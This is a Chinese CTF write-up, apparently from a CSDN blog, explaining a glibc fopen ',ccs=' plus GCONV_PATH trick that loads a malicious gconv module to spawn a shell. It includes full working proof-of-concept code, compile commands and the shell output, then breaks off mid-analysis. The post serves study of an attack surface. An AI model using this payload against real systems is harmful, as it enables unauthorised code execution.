code blue CTF 2019 fopen RCE 漏洞的 Writeup

本文介绍了CODE BLUE CTF 2019决赛中一道利用fopen的第二个参数实现RCE的题目。通过创建特定的payload,结合GCONV_PATH和ccs=payload环境变量,利用glibc的源代码中关于编码字符集转换的机制,最终获取shell。虽然此漏洞在现实环境中难以利用,但对理解动态库和编码转换的攻击面有一定帮助。
摘要由CSDN通过智能技术生成

0x01 介绍

最近,我在打CODE BLUE CTF 2019决赛,里面有一道题目是通过fopen的第二个参数进行RCE,奇热在这篇文章我会详细说明解这道题目的方法。

首先,将下面两个文件放在/home/user目录

 gconv-modules
 module  PAYLOAD//    INTERNAL    ../../../../../../../../home/user/payload    
 module  INTERNAL    PAYLOAD//    ../../../../../../../../home/user/payload
 payload.c
 
 #include <stdio.h>
 #include <stdlib.h>
 
 void gconv() {}
 
 void gconv_init() {
   puts("pwned");
   system("/bin/sh");
   exit(0);
 }

使用 gcc payload.c -o payload.so -shared -fPIC编译payload.c。

然后,将以下代码放在同一目录中

 poc.c#include <stdio.h>
 #include <stdlib.h>
 
 int main(void) {
   putenv("GCONV_PATH=.");
   FILE *fp = fopen("some_random_file", "w,ccs=payload");
 }

编译并运行就会得到一个shell

 user:/home/user$ gcc poc.c -o poc
 user:/home/user$ ./poc
 pwned
 $

0x02 分析

会得到shell的主要原因是GCONV_PATH和ccs=payload 根据手册可以看到,glibc fopen具有几个扩展功能:

 Glibc notes
     The GNU C library allows the following extensions for the string
     specified in mode:
 
     c (since glibc 2.3.3)
            Do not make the open operation, or subsequent read and write
            operations, thread cancellation points.  This flag is ignored
            for fdopen().
 
     e (since glibc 2.7)
            Open the file with the O_CLOEXEC flag.  See open(2) for more
            information.  This flag is ignored for fdopen().
 
     m (since glibc 2.3)
            Attempt to access the file using mmap(2), rather than I/O
            system calls (read(2), write(2)).  Currently, use of mmap(2)
            is attempted only for a file opened for reading.
 
     x      Open the file exclusively (like the O_EXCL flag of open(2)).
            If the file already exists, fopen() fails, and sets errno to
            EEXIST.  This flag is ignored for fdopen().
 
     In addition to the above characters, fopen() and freopen() support
     the following syntax in mode:
 
         ,ccs=string
 
     The given string is taken as the name of a coded character set and
     the stream is marked as wide-oriented.  Thereafter, internal
     conversion functions convert I/O to and from the character set
     string.  If the ,ccs=string syntax is not specified, then the wide-
     orientation of the stream is determined by the first file operation.
     If that operation i
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值